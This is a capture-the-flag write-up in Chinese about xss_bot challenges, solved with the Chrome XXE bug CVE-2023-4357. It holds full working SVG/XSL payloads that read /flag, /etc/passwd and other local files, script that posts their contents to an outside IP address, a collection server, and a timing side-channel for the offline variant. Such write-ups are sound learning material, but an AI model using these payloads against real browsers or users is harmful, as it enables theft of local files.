xss_bot 正解 参考这里:https://github.com/xcanwin/CVE-2023-4357-Chrome-XXE
第一天晚上测试了贼久,post返回的数据为空,第二天早上再测,逐步排查问题,在环境里加代码,selenium访问完页面截一张图出来,哈,看到flag了,说明方法是对的,只是数据带回来时候出错了。索性直接把flag用get参数带回来,出了。
a.svg
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY passwd_p "file:///flag"> <!ENTITY passwd_c SYSTEM "file:///flag"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <div style="display:none"> <p class="&passwd_p;">&passwd_c;</p> </div> <div style="width:40rem" id="r" /> <script> document.querySelector('#r').innerHTML = ` remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`; document.querySelectorAll('p').forEach(p => { //You can send p.innerHTML by POST. document.querySelector('#r').innerHTML += ` local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/> local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`; fetch('http://120.76.118.202:13000/data?'+'1111111111', { method:"POST", headers:{"Content-Type":"application/json"}, body:JSON.stringify({p:p.innerHTML}) }) }); </script> </body> </xsl:template> </xsl:stylesheet>
server.js
const express = require('express'); const path = require('path'); const app = express(); const port = 13000; app.use(express.json()) app.use(express.urlencoded({ extended: false })) app.all('/data', (req, res) => { console.log('data!!!',req.method) res.set('Access-Control-Allow-Origin', '*'); res.set('Access-Control-Allow-Method', 'POST'); res.set('Access-Control-Allow-Headers', 'content-type'); // console.log(req.headers) console.log(req.body) console.log(req.query) // console.log(req) res.send('ok') }); app.listen(port, () => { console.log(`Example app listening on port ${port}`); });
一开始不通的解法 一开始参考这个:https://cn-sec.com/archives/2224247.html
解题大致思路:发送b.html给bot,bot访问b.html,加载iframe,iframe再加载test.svg和解析test.xsl。要做的只是把iframe里的内容带出来。
本地起题目环境测试,发现vps上的test.svg和test.xsl都能被访问,但是没有发送带回数据的请求。
自己再测试,b.html,svg,xsl都放到同一个vps上,可以发带回数据的请求。
再测试,b.html放到8.222.191.116,svg和xsl放到别的地方,访问b.html,浏览器报错:
Uncaught DOMException: Blocked a frame with origin "http://8.222.191.116:13000" from accessing a cross-origin frame.
提示问题出在这里:const ifrDoc = ifr.contentWindow.document.documentElement;
此时查看到svg和xsl都被访问到了。
下面是代码
test.svg
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="#"?> <xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000"> <foreignObject id="myObj" width="1000" height="1000"> <div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml"> <a href="#">#Copy me#</a><br/> XSL: <xsl:value-of select="system-property('xsl:version')"/><br/> Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/> Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/> document() <xsl:copy-of select="document('test.xsl')"/> </div> </foreignObject> </svg> </xsl:template> </xsl:stylesheet>
test.xsl
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE p [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> <!ENTITY hosts SYSTEM "file:///etc/hosts"> <!ENTITY flag SYSTEM "file:///flag"> <!ENTITY group SYSTEM "file://localhost/etc/group"> ]> <p> <p style="border-style: dotted;">/etc/passwd: &passwd; </p> <p style="border-style: dotted;">/etc/hosts: &hosts; </p> <p style="border-style: dotted;">/etc/group: &group; </p> <p style="border-style: dotted;">/flag: &flag; </p> </p>
server.js
const express = require('express'); const path = require('path'); const app = express(); const port = 13000; app.use(express.json()) app.use(express.urlencoded({ extended: false })) app.all('/test.svg', (req, res) => { console.log('/test.svg') res.set('Access-Control-Allow-Origin', '*'); // res.set('X-Frame-Options','SAMEORIGIN') res.sendFile(path.join(__dirname, 'test.svg')); }); app.all('/data', (req, res) => { console.log('data!!!',req.method) res.set('Access-Control-Allow-Origin', '*'); res.set('Access-Control-Allow-Method', 'POST'); res.set('Access-Control-Allow-Headers', 'Content-Type'); console.log(req.body) console.log(req.query) // console.log(req) res.send('ok') }); app.all('/b.html', (req, res) => { console.log('/b.html') // res.set('X-Frame-Options','SAMEORIGIN') res.set('Access-Control-Allow-Origin', '*'); res.sendFile(path.join(__dirname, 'b.html')); }); app.all('/b.svg', (req, res) => { console.log('/b.svg') // res.set('X-Frame-Options','SAMEORIGIN') res.set('Access-Control-Allow-Origin', '*'); res.sendFile(path.join(__dirname, 'b.svg')); }); app.all('/test.xsl', (req, res) => { console.log('/test.xsl') res.set('Access-Control-Allow-Origin', '*'); res.sendFile(path.join(__dirname, 'test.xsl')); }); app.listen(port, () => { console.log(`Example app listening on port ${port}`); });
b.html
<body> <script> const r = document.createElement('div'); r.style.width = '40rem';document.body.appendChild(r); const ifr = document.createElement('iframe'); ifr.style.display = 'none'; document.body.appendChild(ifr); ifr.onload = function() { const ifrDoc = ifr.contentWindow.document.documentElement; r.innerHTML = `remote web url:<input value="${location.href}" style="width:100%" /><br/><br/>`; ifrDoc.querySelectorAll('p').forEach(p => { r.innerHTML += `local file path:<input value="${p.getAttribute("path")}" style="width:100%" /><br/>local file content:<textarea style="width:100%;height:6rem">${p.innerHTML}</textarea><br/><br/>`; fetch('http://120.76.118.202:13000/data', { method:"POST", body:JSON.stringify({p:p.innerHTML}) }) }); } ifr.src = "http://120.76.118.202:13000/test.svg"; </script> </body>
xss_bot no internet 没别的地方可看了,只能看看这部分有没有地方可以触发报错或者延时
try: options = webdriver.ChromeOptions() options.add_argument("--no-sandbox") # sandbox not working in docker options.add_argument("--headless") options.add_argument("--disable-gpu") options.add_argument("--user-data-dir=/dev/shm/user-data/"+user_id) os.environ["TMPDIR"] = "/dev/shm/chromium-data/" options.add_experimental_option("excludeSwitches", ["enable-logging"]) with webdriver.Chrome(options=options) as driver: ua = driver.execute_script("return navigator.userAgent") print(" I am using", ua) driver.set_page_load_timeout(15) print("- Now browsing your website...") driver.get("http://localhost:"+port_id+"/"+file_name) time.sleep(4) print("Bye bye!") except Exception as e: print("ERROR", type(e)) print("I'll not give you exception message this time.")
看了一会,只能想办法让set_page_load_timeout
报异常了。
去搜如何延缓页面加载时间,普通的setTimeout是不行的。
…….
<script src="http://1.1.1.1/1.js"></script>
,本地测试,这玩意写进去能够延缓访问时间,但只能延缓近0.1秒,根本不够。但是也没管那么多,写进题目里看看,报异常了……估计是我环境通网找不到1.1.1.1就直接取消了,而题目由于不通网就一直卡住。还是得是实际测试。
接下来就是判断字符,然后动态写入这个标签。
测试发现,只要代码里含有<script src="http://1.1.1.1/1.js"></script>
就会超时,无论是
if(false){ document.write(`<script src="http://1.1.1.1/1.js"></script>`) }
还是
//<script src="http://1.1.1.1/1.js"></script>
换了个写法,但是不超时了,也不行。
document.write(String.fromCharCode(...))
又卡住了。
……
那既然写了script标签怎样都会超时,那看看能不能手动停止加载页面。又搜索了一番,window.stop()
可以。测试,成了。
所以只要判断字符对了就执行window.stop()
剩下的就是爆破了,手动爆破,先爆长度再爆范围。
爆破时候发现小于号<不生效,我猜测是给当做标签开头来处理了,这毕竟不是正规的js文件,出问题也正常。